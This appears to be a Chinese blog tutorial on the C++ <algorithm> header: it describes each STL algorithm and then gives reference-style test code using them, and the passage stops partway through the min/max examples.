C++/C++11中头文件algorithm的使用
<algorithm>是C++标准程序库中的一个头文件,定义了C++ STL标准中的基础性的算法(均为函数模板)。<algorithm>定义了设计用于元素范围的函数集合。任何对象序列的范围可以通过迭代器或指针访问。
std::adjacent_find:在序列中查找第一对相邻且值相等的元素;
std::find: 对一个输入序列,查找第一个等于给定值的元素;
std::find_end: 查找有B定义的序列在A序列中最后一次出现的位置(B可能是A的子序列);
std::find_first_of:查找A序列中第一个与序列B中任一元素值相等的元素位置;
std::find_if: 在序列中返回满足谓词(给定的条件)的第一个元素;
std::find_if_not:在序列中返回不满足谓词的第一个元素;
std::all_of: 如果序列中所有元素均满足给定的条件,则返回true;
std::any_of: 如果序列中存在元素满足给定的条件,则返回true;
std::none_of: 如果序列中所有元素均不满足给定的条件,则返回true;
std::binary_search:对一个升序序列做二分搜索,判断序列中是否有与给定值相等的元素;
std::search: 在序列A中,搜索B首次出现的位置(B可能是A的子序列);
std::search_n: 在给定序列中,搜索给定值连续出现n次的位置;
std::copy: 将一个序列中的元素拷贝到新的位置;
std::copy_backward:把一个序列复制到另一个序列,按照由尾到头顺序依次复制元素;
std::copy_if: 将一个序列中满足给定条件的元素拷贝到新的位置;
std::copy_n: 将一个序列中的前n个元素拷贝到新的位置;
std::count: 返回序列中等于给定值元素的个数;
std::count_if: 返回序列中满足给定条件的元素的个数;
std::equal: 比较两个序列的对应元素是否相等;
std::equal_range:在已排序的序列中,查找元素等于给定值组成的子范围;
std::lower_bound:在升序的序列中,查找第一个不小于给定值的元素;
std::upper_bound:在已排序的序列中,查找第一个大于给定值的元素;
std::fill: 用给定值填充序列中的每个元素;
std::fill_n: 用给定值填充序列中的n个元素;
std::for_each: 将指定函数应用于范围内的每一个元素;
std::generate: 对序列中的每个元素,用依次调用函数gen的返回值赋值;
std::generate_n:对序列中的n个元素,用依次调用指定函数gen的返回值赋值;
std::includes: 判断第二个已排序的序列是否全部都出现在第一个已排序的序列中;
std::inplace_merge:对两个升序的序列执行原地合并,合并后的序列仍保持升序;
std::merge: 对两个升序的序列合并,结果序列保持升序;
std::is_heap: 判断序列是否为二叉堆;
std::is_heap_until:查找第一个不是堆顺序的元素;
std::make_heap: 对于一个序列,构造一个二叉堆;
std::pop_heap: 堆的根节点被移除,堆的元素数目减1并保持堆性质;
std::push_heap: 向堆中增加一个新元素,新元素最初保存在last-1位置;
std::sort_heap: 对一个堆,执行原地堆排序,得到一个升序结果;
std::is_partitioned:判断序列是否按指定谓词划分过;
std::partition: 对序列重排,使得满足谓词的元素位于最前;
std::partition_copy:输入序列中,满足谓词的元素复制到result_true,其它元素复制到result_false;
std::partition_point:输入序列已经是partition,折半查找到分界点;
std::stable_partiton:对序列重排,使得满足谓词的元素在前,不满足谓词的元素在后,且两组元素内部的相对顺序不变;
std::is_permutation:判断两个序列是否为同一元素的两个排列;
std::next_permutation:n个元素有n!中排列。这些排列中,规定升序序列为最小排列,降序序列为最大的排列,任意两个排列按照字典序分出大小。该函数返回当前序列作为一个排列按字典序的下一个排列;
std::prev_permutation:返回当前序列作为一个排列按字典序的上一个排列;
std::is_sorted: 判断序列是否为升序;
std::is_sorted_until:查找序列中第一个未排序的元素;
std::nth_element:对序列重排,使得指定的位置出现的元素就是有序情况下应该在该位置出现的那个元素,且在指定位置之前的元素都小于指定位置元素,在指定位置之后的元素都大于指定位置元素;
std::partial_sort:对序列进行部分排序;
std::partial_sort_copy:拷贝部分排序的序列;
std::sort: 对序列进行排序;
std::stable_sort:对序列进行稳定排序;
std::iter_swap: 交换两个迭代器指向的元素;
std::swap: 交换两个对象,优先使用移动语义;
std::swap_ranges:交换两个序列中对应元素;
std::lexicographical_compare:对两个序列做字典比较,如果第一个序列在字典序下小于第二个序列,则返回true;
std::min: 返回两个值中的最小值;
std::min_element:返回序列中的最小值;
std::max: 返回两个值中的最大值;
std::max_element:返回序列中的最大值;
std::minmax: 返回由最小值与最大值构成的std::pair;
std::minmax_element:返回由序列中最小元素与最大元素构成的std::pair;
std::mismatch: 比较两个序列的对应元素,返回用std::pair表示的第一处不匹配在两个序列的位置;
std::move: 把输入序列中的逐个元素移动到结果序列;注意与 http://blog.csdn.net/fengbingchun/article/details/52558914 中的不同;
std::move_backward:把输入序列中的逐个元素自尾到头移动到结果序列;
std::shuffle: 使用均匀随机数生成器,随机打乱指定范围中的元素的位置;
std::random_shuffle:n个元素有!n个排列,该函数给出随机选择的一个排列;
std::remove: 删除序列中等于给定值的所有元素;
std::remove_if: 删除序列中满足给定谓词的元素;
std::remove_copy:把一个序列中不等于给定值的元素复制到另一个序列中;
std::remove_copy_if:把一个序列中不满足给定谓词的元素复制到另一个序列中;
std::replace: 把序列中等于给定值的元素替换为新值;
std::replace_if:把序列中满足给定谓词的元素替换为新值;
std::replace_copy:拷贝序列,对于等于老值的元素复制时使用新值;
std::replace_copy_if:拷贝序列,对于满足给定谓词的元素复制时使用新值;
std::reverse: 把序列中的元素逆序;
std::reverse_copy:拷贝序列的逆序到另一个序列中;
std::rotate: 等效于循环左移序列,使得迭代器middle所指的元素成为首元素;
std::rotate_copy:等效于循环左移序列并拷贝到新的序列中,使得迭代器middle所指的元素成为首元素;
std::set_difference:两个升序序列之差;
std::set_intersection:两个升序序列的交;
std::set_symmetric_difference:两个升序序列的对称差;
std::set_union: 两个升序序列的并;
std::transform: 对序列中的每一个元素,执行一元操作,结果写入另一序列中;或对两个序列中对应的每一对元素,执行二元操作,结果写入另一序列中;
std::unique: 对序列中一群连续的相等的元素,仅保留第一个元素;
std::unique_copy:把一个序列中的元素拷贝到另一个序列,对于一群连续的相等的元素,仅拷贝第一个元素。
下面是从其它文章中copy的<algorithm>测试代码,详细内容介绍可以参考对应的reference:
#include "algorithm.hpp"
#include <algorithm>
#include <iostream>
#include <vector>
#include <cctype>
#include <array>
#include <ctime>
#include <cstdlib>
#include <string>
#include <random>
#include <chrono>// reference: http://www.cplusplus.com/reference/algorithm/namespace algorithm_ {///
static bool myfunction(int i, int j) { return (i == j); }
static bool comp_case_insensitive(char c1, char c2) { return (std::tolower(c1) == std::tolower(c2)); }
static bool IsOdd(int i) { return ((i % 2) == 1); }int test_algorithm_find()
{
{int myints[] = { 5, 20, 5, 30, 30, 20, 10, 10, 20 };std::vector<int> myvector(myints, myints + 8);std::vector<int>::iterator it;// using default comparison:it = std::adjacent_find(myvector.begin(), myvector.end());if (it != myvector.end())std::cout << "the first pair of repeated elements are: " << *it << '\n'; // 30//using predicate comparison:it = std::adjacent_find(++it, myvector.end(), myfunction);if (it != myvector.end())std::cout << "the second pair of repeated elements are: " << *it << '\n'; // 10
}{// using std::find with array and pointer:int myints[] = { 10, 20, 30, 40 };int * p;p = std::find(myints, myints + 4, 30);if (p != myints + 4)std::cout << "Element found in myints: " << *p << '\n'; // 30elsestd::cout << "Element not found in myints\n";// using std::find with vector and iterator:std::vector<int> myvector(myints, myints + 4);std::vector<int>::iterator it;it = std::find(myvector.begin(), myvector.end(), 30);if (it != myvector.end())std::cout << "Element found in myvector: " << *it << '\n'; // 30elsestd::cout << "Element not found in myvector\n";
}{int myints[] = { 1, 2, 3, 4, 5, 1, 2, 3, 4, 5 };std::vector<int> haystack(myints, myints + 10);int needle1[] = { 1, 2, 3 };// using default comparison:std::vector<int>::iterator it;it = std::find_end(haystack.begin(), haystack.end(), needle1, needle1 + 3);if (it != haystack.end())std::cout << "needle1 last found at position " << (it - haystack.begin()) << '\n'; // 5int needle2[] = { 4, 5, 1 };// using predicate comparison:it = std::find_end(haystack.begin(), haystack.end(), needle2, needle2 + 3, myfunction);if (it != haystack.end())std::cout << "needle2 last found at position " << (it - haystack.begin()) << '\n'; // 3
}{int mychars[] = { 'a', 'b', 'c', 'A', 'B', 'C' };std::vector<char> haystack(mychars, mychars + 6);std::vector<char>::iterator it;int needle[] = { 'A', 'B', 'C' };// using default comparison:it = find_first_of(haystack.begin(), haystack.end(), needle, needle + 3);if (it != haystack.end())std::cout << "The first match is: " << *it << '\n'; // A// using predicate comparison:it = find_first_of(haystack.begin(), haystack.end(), needle, needle + 3, comp_case_insensitive);if (it != haystack.end())std::cout << "The first match is: " << *it << '\n'; // a
}{std::vector<int> myvector;myvector.push_back(10);myvector.push_back(25);myvector.push_back(40);myvector.push_back(55);std::vector<int>::iterator it = std::find_if(myvector.begin(), myvector.end(), IsOdd);std::cout << "The first odd value is " << *it << '\n'; // 25
}{std::array<int, 5> foo = { 1, 2, 3, 4, 5 };std::array<int, 5>::iterator it = std::find_if_not(foo.begin(), foo.end(), [](int i){return i % 2; });std::cout << "The first even value is " << *it << '\n'; // 2
}return 0;
}int test_algorithm_all_of()
{
{std::array<int, 8> foo = { 3, 5, 7, 11, 13, 17, 19, 23 };if (std::all_of(foo.begin(), foo.end(), [](int i){return i % 2; }))std::cout << "All the elements are odd numbers.\n"; // All the elements are odd numbers
}{std::array<int, 7> foo = { 0, 1, -1, 3, -3, 5, -5 };if (std::any_of(foo.begin(), foo.end(), [](int i){return i<0; }))std::cout << "There are negative elements in the range.\n"; // There are negative elements in the range
}{std::array<int, 8> foo = { 1, 2, 4, 8, 16, 32, 64, 128 };if (std::none_of(foo.begin(), foo.end(), [](int i){return i<0; }))std::cout << "There are no negative elements in the range.\n"; // There are no negative elements in the range
}return 0;
}static bool myfunction2(int i, int j) { return (i<j); }
static bool mypredicate(int i, int j) { return (i == j); }int test_algorithm_search()
{
{int myints[] = { 1, 2, 3, 4, 5, 4, 3, 2, 1 };std::vector<int> v(myints, myints + 9);// using default comparison:std::sort(v.begin(), v.end());std::cout << "looking for a 3... ";if (std::binary_search(v.begin(), v.end(), 3)) std::cout << "found!\n"; // found!else std::cout << "not found.\n";// using myfunction as comp:std::sort(v.begin(), v.end(), myfunction2);std::cout << "looking for a 6... ";if (std::binary_search(v.begin(), v.end(), 6, myfunction2)) std::cout << "found!\n";else std::cout << "not found.\n"; // not found.
}{std::vector<int> haystack;// set some values: haystack: 10 20 30 40 50 60 70 80 90for (int i = 1; i<10; i++) haystack.push_back(i * 10);// using default comparison:int needle1[] = { 40, 50, 60, 70 };std::vector<int>::iterator it;it = std::search(haystack.begin(), haystack.end(), needle1, needle1 + 4);if (it != haystack.end())std::cout << "needle1 found at position " << (it - haystack.begin()) << '\n'; // 3elsestd::cout << "needle1 not found\n";// using predicate comparison:int needle2[] = { 20, 30, 50 };it = std::search(haystack.begin(), haystack.end(), needle2, needle2 + 3, mypredicate);if (it != haystack.end())std::cout << "needle2 found at position " << (it - haystack.begin()) << '\n';elsestd::cout << "needle2 not found\n"; // needle2 not found
}{int myints[] = { 10, 20, 30, 30, 20, 10, 10, 20 };std::vector<int> myvector(myints, myints + 8);std::vector<int>::iterator it;// using default comparison:it = std::search_n(myvector.begin(), myvector.end(), 2, 30);if (it != myvector.end())std::cout << "two 30s found at position " << (it - myvector.begin()) << '\n'; // 2elsestd::cout << "match not found\n";// using predicate comparison:it = std::search_n(myvector.begin(), myvector.end(), 2, 10, mypredicate);if (it != myvector.end())std::cout << "two 10s found at position " << int(it - myvector.begin()) << '\n'; // 5elsestd::cout << "match not found\n";
}return 0;
}//
int test_algorithm_copy()
{
{int myints[] = { 10, 20, 30, 40, 50, 60, 70 };std::vector<int> myvector(7);std::copy(myints, myints + 7, myvector.begin());std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 10 20 30 40 50 60 70std::cout << '\n';
}{std::vector<int> myvector;// set some values:for (int i = 1; i <= 5; i++)myvector.push_back(i * 10); // myvector: 10 20 30 40 50myvector.resize(myvector.size() + 3); // allocate space for 3 more elementsstd::copy_backward(myvector.begin(), myvector.begin() + 5, myvector.end());std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 10 20 30 10 20 30 40 50std::cout << '\n';
}{std::vector<int> foo = { 25, 15, 5, -5, -15 };std::vector<int> bar(foo.size());// copy only positive numbers:auto it = std::copy_if(foo.begin(), foo.end(), bar.begin(), [](int i){return !(i<0); });bar.resize(std::distance(bar.begin(), it)); // shrink container to new sizestd::cout << "bar contains:";for (int& x : bar) std::cout << ' ' << x; // 25 15 5std::cout << '\n';
}{int myints[] = { 10, 20, 30, 40, 50, 60, 70 };std::vector<int> myvector;myvector.resize(7); // allocate space for 7 elementsstd::copy_n(myints, 7, myvector.begin());std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 10 20 30 40 50 60 70std::cout << '\n';
}return 0;
}///
int test_algorithm_count()
{
{// counting elements in array:int myints[] = { 10, 20, 30, 30, 20, 10, 10, 20 }; // 8 elementsint mycount = std::count(myints, myints + 8, 10);std::cout << "10 appears " << mycount << " times.\n"; // 3// counting elements in container:std::vector<int> myvector(myints, myints + 8);mycount = std::count(myvector.begin(), myvector.end(), 20);std::cout << "20 appears " << mycount << " times.\n"; // 3
}{std::vector<int> myvector;for (int i = 1; i<10; i++) myvector.push_back(i); // myvector: 1 2 3 4 5 6 7 8 9int mycount = count_if(myvector.begin(), myvector.end(), IsOdd);std::cout << "myvector contains " << mycount << " odd values.\n"; // 5
}return 0;
}//
static bool mygreater(int i, int j) { return (i>j); }int test_algorithm_equal()
{
{int myints[] = { 20, 40, 60, 80, 100 }; // myints: 20 40 60 80 100std::vector<int>myvector(myints, myints + 5); // myvector: 20 40 60 80 100// using default comparison:if (std::equal(myvector.begin(), myvector.end(), myints))std::cout << "The contents of both sequences are equal.\n"; // equalelsestd::cout << "The contents of both sequences differ.\n";myvector[3] = 81; // myvector: 20 40 60 81 100// using predicate comparison:if (std::equal(myvector.begin(), myvector.end(), myints, mypredicate))std::cout << "The contents of both sequences are equal.\n";elsestd::cout << "The contents of both sequences differ.\n"; // differ
}{int myints[] = { 10, 20, 30, 30, 20, 10, 10, 20 };std::vector<int> v(myints, myints + 8); // 10 20 30 30 20 10 10 20std::pair<std::vector<int>::iterator, std::vector<int>::iterator> bounds;// using default comparison:std::sort(v.begin(), v.end()); // 10 10 10 20 20 20 30 30bounds = std::equal_range(v.begin(), v.end(), 20); // ^ ^std::cout << "bounds at positions " << (bounds.first - v.begin()); // 3std::cout << " and " << (bounds.second - v.begin()) << '\n'; // 6// using "mygreater" as comp:std::sort(v.begin(), v.end(), mygreater); // 30 30 20 20 20 10 10 10bounds = std::equal_range(v.begin(), v.end(), 20, mygreater); // ^ ^std::cout << "bounds at positions " << (bounds.first - v.begin()); // 2std::cout << " and " << (bounds.second - v.begin()) << '\n'; // 5
}{int myints[] = { 10, 20, 30, 30, 20, 10, 10, 20 };std::vector<int> v(myints, myints + 8); // 10 20 30 30 20 10 10 20std::sort(v.begin(), v.end()); // 10 10 10 20 20 20 30 30std::vector<int>::iterator low, up;low = std::lower_bound(v.begin(), v.end(), 20);up = std::upper_bound(v.begin(), v.end(), 20);std::cout << "lower_bound at position " << (low - v.begin()) << '\n'; // 3std::cout << "upper_bound at position " << (up - v.begin()) << '\n'; // 6
}return 0;
}//
int test_algorithm_fill()
{
{std::vector<int> myvector(8); // myvector: 0 0 0 0 0 0 0 0std::fill(myvector.begin(), myvector.begin() + 4, 5); // myvector: 5 5 5 5 0 0 0 0std::fill(myvector.begin() + 3, myvector.end() - 2, 8); // myvector: 5 5 5 8 8 8 0 0std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 5 5 5 8 8 8 0 0std::cout << '\n';
}{std::vector<int> myvector(8, 10); // myvector: 10 10 10 10 10 10 10 10std::fill_n(myvector.begin(), 4, 20); // myvector: 20 20 20 20 10 10 10 10std::fill_n(myvector.begin() + 3, 3, 33); // myvector: 20 20 20 33 33 33 10 10std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 20 20 20 33 33 33 10 10std::cout << '\n';
}return 0;
}///
void myfunction3(int i) { // function:std::cout << ' ' << i;
}struct myclass { // function object type:void operator() (int i) { std::cout << ' ' << i; }
} myobject;int test_algorithm_for_each()
{std::vector<int> myvector;myvector.push_back(10);myvector.push_back(20);myvector.push_back(30);std::cout << "myvector contains:";for_each(myvector.begin(), myvector.end(), myfunction3); // 10 20 30std::cout << '\n';// or:std::cout << "myvector contains:";for_each(myvector.begin(), myvector.end(), myobject); // 10 20 30std::cout << '\n';return 0;
}// function generator:
int RandomNumber() { return (std::rand() % 100); }// class generator:
struct c_unique {int current;c_unique() { current = 0; }int operator()() { return ++current; }
} UniqueNumber;int current = 0;
int UniqueNumber2() { return ++current; }int test_algorithm_generate()
{
{std::srand(unsigned(std::time(0)));std::vector<int> myvector(8);std::generate(myvector.begin(), myvector.end(), RandomNumber);std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it;std::cout << '\n';std::generate(myvector.begin(), myvector.end(), UniqueNumber);std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 1 2 3 4 5 6 7 8std::cout << '\n';
}{int myarray[9];std::generate_n(myarray, 9, UniqueNumber2);std::cout << "myarray contains:";for (int i = 0; i<9; ++i)std::cout << ' ' << myarray[i]; // 1 2 3 4 5 6 7 8 9std::cout << '\n';
}return 0;
}int test_algorithm_includes()
{int container[] = { 5, 10, 15, 20, 25, 30, 35, 40, 45, 50 };int continent[] = { 40, 30, 20, 10 };std::sort(container, container + 10);std::sort(continent, continent + 4);// using default comparison:if (std::includes(container, container + 10, continent, continent + 4))std::cout << "container includes continent!\n"; // container includes continent// using myfunction as comp:if (std::includes(container, container + 10, continent, continent + 4, myfunction2))std::cout << "container includes continent!\n"; // container includes continentreturn 0;
}///
int test_algorithm_merge()
{
{int first[] = { 5, 10, 15, 20, 25 };int second[] = { 50, 40, 30, 20, 10 };std::vector<int> v(10);std::vector<int>::iterator it;std::sort(first, first + 5);std::sort(second, second + 5);it = std::copy(first, first + 5, v.begin());std::copy(second, second + 5, it);std::inplace_merge(v.begin(), v.begin() + 5, v.end());std::cout << "The resulting vector contains:";for (it = v.begin(); it != v.end(); ++it)std::cout << ' ' << *it; // 5 10 10 15 20 20 25 30 40 50std::cout << '\n';
}{int first[] = { 5, 10, 15, 20, 25 };int second[] = { 50, 40, 30, 20, 10 };std::vector<int> v(10);std::sort(first, first + 5);std::sort(second, second + 5);std::merge(first, first + 5, second, second + 5, v.begin());std::cout << "The resulting vector contains:";for (std::vector<int>::iterator it = v.begin(); it != v.end(); ++it)std::cout << ' ' << *it; // 5 10 10 15 20 20 25 30 40 50std::cout << '\n';
}return 0;
}int test_algorithm_heap()
{
{std::vector<int> foo{ 9, 5, 2, 6, 4, 1, 3, 8, 7 };if (!std::is_heap(foo.begin(), foo.end()))std::make_heap(foo.begin(), foo.end());std::cout << "Popping out elements:";while (!foo.empty()) {std::pop_heap(foo.begin(), foo.end()); // moves largest element to backstd::cout << ' ' << foo.back(); // prints back // 9 8 7 6 5 4 3 2 1foo.pop_back(); // pops element out of container}std::cout << '\n';
}{std::vector<int> foo{ 2, 6, 9, 3, 8, 4, 5, 1, 7 };std::sort(foo.begin(), foo.end());std::reverse(foo.begin(), foo.end());auto last = std::is_heap_until(foo.begin(), foo.end());std::cout << "The " << (last - foo.begin()) << " first elements are a valid heap:"; // 9for (auto it = foo.begin(); it != last; ++it)std::cout << ' ' << *it; // 9 8 7 6 5 4 3 2 1std::cout << '\n';
}{int myints[] = { 10, 20, 30, 5, 15 };std::vector<int> v(myints, myints + 5);std::make_heap(v.begin(), v.end());std::cout << "initial max heap : " << v.front() << '\n'; // 30std::pop_heap(v.begin(), v.end()); v.pop_back();std::cout << "max heap after pop : " << v.front() << '\n'; // 20v.push_back(99); std::push_heap(v.begin(), v.end());std::cout << "max heap after push: " << v.front() << '\n'; // 99std::sort_heap(v.begin(), v.end());std::cout << "final sorted range :";for (unsigned i = 0; i<v.size(); i++)std::cout << ' ' << v[i]; // 5 10 15 20 99std::cout << '\n';
}return 0;
}int test_algorithm_partition()
{
{std::array<int, 7> foo{ 1, 2, 3, 4, 5, 6, 7 };// print contents:std::cout << "foo:"; for (int& x : foo) std::cout << ' ' << x;if (std::is_partitioned(foo.begin(), foo.end(), IsOdd))std::cout << " (partitioned)\n";elsestd::cout << " (not partitioned)\n"; // not partitioned// partition array:std::partition(foo.begin(), foo.end(), IsOdd);// print contents again:std::cout << "foo:"; for (int& x : foo) std::cout << ' ' << x; // 1 7 3 5 4 6 2if (std::is_partitioned(foo.begin(), foo.end(), IsOdd))std::cout << " (partitioned)\n"; // partitionedelsestd::cout << " (not partitioned)\n";
}{std::vector<int> myvector;// set some values:for (int i = 1; i<10; ++i) myvector.push_back(i); // 1 2 3 4 5 6 7 8 9std::vector<int>::iterator bound;bound = std::partition(myvector.begin(), myvector.end(), IsOdd);// print out content:std::cout << "odd elements:";for (std::vector<int>::iterator it = myvector.begin(); it != bound; ++it)std::cout << ' ' << *it; // 1 9 3 7 5std::cout << '\n';std::cout << "even elements:";for (std::vector<int>::iterator it = bound; it != myvector.end(); ++it)std::cout << ' ' << *it; // 6 4 8 2std::cout << '\n';
}{std::vector<int> foo{ 1, 2, 3, 4, 5, 6, 7, 8, 9 };std::vector<int> odd, even;// resize vectors to proper size:unsigned n = std::count_if(foo.begin(), foo.end(), IsOdd);odd.resize(n); even.resize(foo.size() - n);// partition:std::partition_copy(foo.begin(), foo.end(), odd.begin(), even.begin(), IsOdd);// print contents:std::cout << "odd: "; for (int& x : odd) std::cout << ' ' << x; std::cout << '\n'; // 1 3 5 7 9std::cout << "even: "; for (int& x : even) std::cout << ' ' << x; std::cout << '\n'; // 2 4 6 8
}{std::vector<int> foo{ 1, 2, 3, 4, 5, 6, 7, 8, 9 };std::vector<int> odd;std::partition(foo.begin(), foo.end(), IsOdd);auto it = std::partition_point(foo.begin(), foo.end(), IsOdd);odd.assign(foo.begin(), it);// print contents of odd:std::cout << "odd:";for (int& x : odd) std::cout << ' ' << x; // 1 9 3 7 5std::cout << '\n';
}{std::vector<int> myvector;// set some values:for (int i = 1; i<10; ++i) myvector.push_back(i); // 1 2 3 4 5 6 7 8 9std::vector<int>::iterator bound;bound = std::stable_partition(myvector.begin(), myvector.end(), IsOdd);// print out content:std::cout << "odd elements:";for (std::vector<int>::iterator it = myvector.begin(); it != bound; ++it)std::cout << ' ' << *it; // 1 3 5 7 9std::cout << '\n';std::cout << "even elements:";for (std::vector<int>::iterator it = bound; it != myvector.end(); ++it)std::cout << ' ' << *it; // 2 4 6 8std::cout << '\n';
}return 0;
}//
int test_algorithm_permutation()
{
{std::array<int, 5> foo = { 1, 2, 3, 4, 5 };std::array<int, 5> bar = { 3, 1, 4, 5, 2 };if (std::is_permutation(foo.begin(), foo.end(), bar.begin()))std::cout << "foo and bar contain the same elements.\n"; // foo and bar contain the same elements
}{int myints[] = { 1, 2, 3 };std::sort(myints, myints + 3);std::cout << "The 3! possible permutations with 3 elements:\n";do {std::cout << myints[0] << ' ' << myints[1] << ' ' << myints[2] << '\n';} while (std::next_permutation(myints, myints + 3));std::cout << "After loop: " << myints[0] << ' ' << myints[1] << ' ' << myints[2] << '\n'; // 1 2 3
}{int myints[] = { 1, 2, 3 };std::sort(myints, myints + 3);std::reverse(myints, myints + 3);std::cout << "The 3! possible permutations with 3 elements:\n";do {std::cout << myints[0] << ' ' << myints[1] << ' ' << myints[2] << '\n';} while (std::prev_permutation(myints, myints + 3));std::cout << "After loop: " << myints[0] << ' ' << myints[1] << ' ' << myints[2] << '\n'; // 3 2 1
}return 0;
}/
struct myclass2 {bool operator() (int i, int j) { return (i<j); }
} myobject2;bool compare_as_ints(double i, double j) { return (int(i)<int(j)); }int test_algorithm_sort()
{
{std::array<int, 4> foo{ 2, 4, 1, 3 };do {// try a new permutation:std::prev_permutation(foo.begin(), foo.end());// print range:std::cout << "foo:";for (int& x : foo) std::cout << ' ' << x;std::cout << '\n';} while (!std::is_sorted(foo.begin(), foo.end()));std::cout << "the range is sorted!\n";
}{std::array<int, 4> foo{ 2, 4, 1, 3 };std::array<int, 4>::iterator it;do {// try a new permutation:std::prev_permutation(foo.begin(), foo.end());// print range:std::cout << "foo:";for (int& x : foo) std::cout << ' ' << x;it = std::is_sorted_until(foo.begin(), foo.end());std::cout << " (" << (it - foo.begin()) << " elements sorted)\n";} while (it != foo.end());std::cout << "the range is sorted!\n";
}{std::vector<int> myvector;// set some values:for (int i = 1; i<10; i++) myvector.push_back(i); // 1 2 3 4 5 6 7 8 9std::random_shuffle(myvector.begin(), myvector.end());// using default comparison (operator <):std::nth_element(myvector.begin(), myvector.begin() + 5, myvector.end());// using function as compstd::nth_element(myvector.begin(), myvector.begin() + 5, myvector.end(), myfunction2);// print out content:std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 1 2 3 4 5 6 7 8 9std::cout << '\n';
}{int myints[] = { 9, 8, 7, 6, 5, 4, 3, 2, 1 };std::vector<int> myvector(myints, myints + 9);// using default comparison (operator <):std::partial_sort(myvector.begin(), myvector.begin() + 5, myvector.end());// using function as compstd::partial_sort(myvector.begin(), myvector.begin() + 5, myvector.end(), myfunction2);// print out content:std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 1 2 3 4 5 9 8 7 6std::cout << '\n';
}{int myints[] = { 9, 8, 7, 6, 5, 4, 3, 2, 1 };std::vector<int> myvector(5);// using default comparison (operator <):std::partial_sort_copy(myints, myints + 9, myvector.begin(), myvector.end());// using function as compstd::partial_sort_copy(myints, myints + 9, myvector.begin(), myvector.end(), myfunction2);// print out content:std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 1 2 3 4 5std::cout << '\n';
}{int myints[] = { 32, 71, 12, 45, 26, 80, 53, 33 };std::vector<int> myvector(myints, myints + 8); // 32 71 12 45 26 80 53 33// using default comparison (operator <):std::sort(myvector.begin(), myvector.begin() + 4); //(12 32 45 71)26 80 53 33// using function as compstd::sort(myvector.begin() + 4, myvector.end(), myfunction2); // 12 32 45 71(26 33 53 80)// using object as compstd::sort(myvector.begin(), myvector.end(), myobject2); //(12 26 32 33 45 53 71 80)// print out content:std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 12 26 32 33 45 53 71 80std::cout << '\n';
}{double mydoubles[] = { 3.14, 1.41, 2.72, 4.67, 1.73, 1.32, 1.62, 2.58 };std::vector<double> myvector;myvector.assign(mydoubles, mydoubles + 8);std::cout << "using default comparison:";std::stable_sort(myvector.begin(), myvector.end());for (std::vector<double>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 1.32 1.41 1.62 1.73 2.58 2.72 3.14 4.67std::cout << '\n';myvector.assign(mydoubles, mydoubles + 8);std::cout << "using 'compare_as_ints' :";std::stable_sort(myvector.begin(), myvector.end(), compare_as_ints);for (std::vector<double>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 1.41 1.73 1.32 1.62 2.72 2.58 3.14 4.67std::cout << '\n';
}return 0;
}int test_algorithm_swap()
{
{int myints[] = { 10, 20, 30, 40, 50 }; // myints: 10 20 30 40 50std::vector<int> myvector(4, 99); // myvector: 99 99 99 99std::iter_swap(myints, myvector.begin()); // myints: [99] 20 30 40 50// myvector: [10] 99 99 99std::iter_swap(myints + 3, myvector.begin() + 2); // myints: 99 20 30 [99] 50// myvector: 10 99 [40] 99std::cout << "myvector contains:";for (std::vector<int>::iterator it = myvector.begin(); it != myvector.end(); ++it)std::cout << ' ' << *it; // 10 99 40 99std::cout << '\n';
}{int x = 10, y = 20; // x:10 y:20std::swap(x, y); // x:20 y:10std::vector<int> foo(4, x), bar(6, y); // foo:4x20 bar:6x10std::swap(foo, bar); // foo:6x10 bar:4x20std::cout << "foo contains:";for (std::vector<int>::iterator it = foo.begin(); it != foo.end(); ++it)std::cout << ' ' << *it; // 10 10 10 10 10 10std::cout << '\n';
}{std::vector<int> foo(5, 10); // foo: 10 10 10 10 10std::vector<int> bar(5, 33); // bar: 33 33 33 33 33std::swap_ranges(foo.begin() + 1, foo.end() - 1, bar.begin());// print out results of swap:std::cout << "foo contains:";for (std::vector<int>::iterator it = foo.begin(); it != foo.end(); ++it)std::cout << ' ' << *it; // 10 33 33 33 10std::cout << '\n';std::cout << "bar contains:";for (std::vector<int>::iterator it = bar.begin(); it != bar.end(); ++it)std::cout << ' ' << *it; // 10 10 10 33 33std::cout << '\n';
}return 0;
}///
static bool mycomp(char c1, char c2) { return std::tolower(c1)<std::tolower(c2); }int test_algorithm_lexicographical_compare()
{char foo[] = "Apple";char bar[] = "apartment";std::cout << std::boolalpha;std::cout << "Comparing foo and bar lexicographically (foo<bar):\n";std::cout << "Using default comparison (operator<): ";std::cout << std::lexicographical_compare(foo, foo + 5, bar, bar + 9); // truestd::cout << '\n';std::cout << "Using mycomp as comparison object: ";std::cout << std::lexicographical_compare(foo, foo + 5, bar, bar + 9, mycomp); // falsestd::cout << '\n';return 0;
}//
static bool myfn(int i, int j) { return i<j; }int test_algorithm_min_max()
{
{std::cout << "min(1, 2)==" << std::min(1, 2) << '\n'; // 1std::cout << "min(2, 1)==" << std::min(2, 1) << '\n'; // 1std::cout << "min('a', 'z')==" << std::min('a', 'z') << '\n'; // astd::cout << "min(3.14, 2.72)==" << std::min(3.14, 2.72) << '\n'; // 2.72
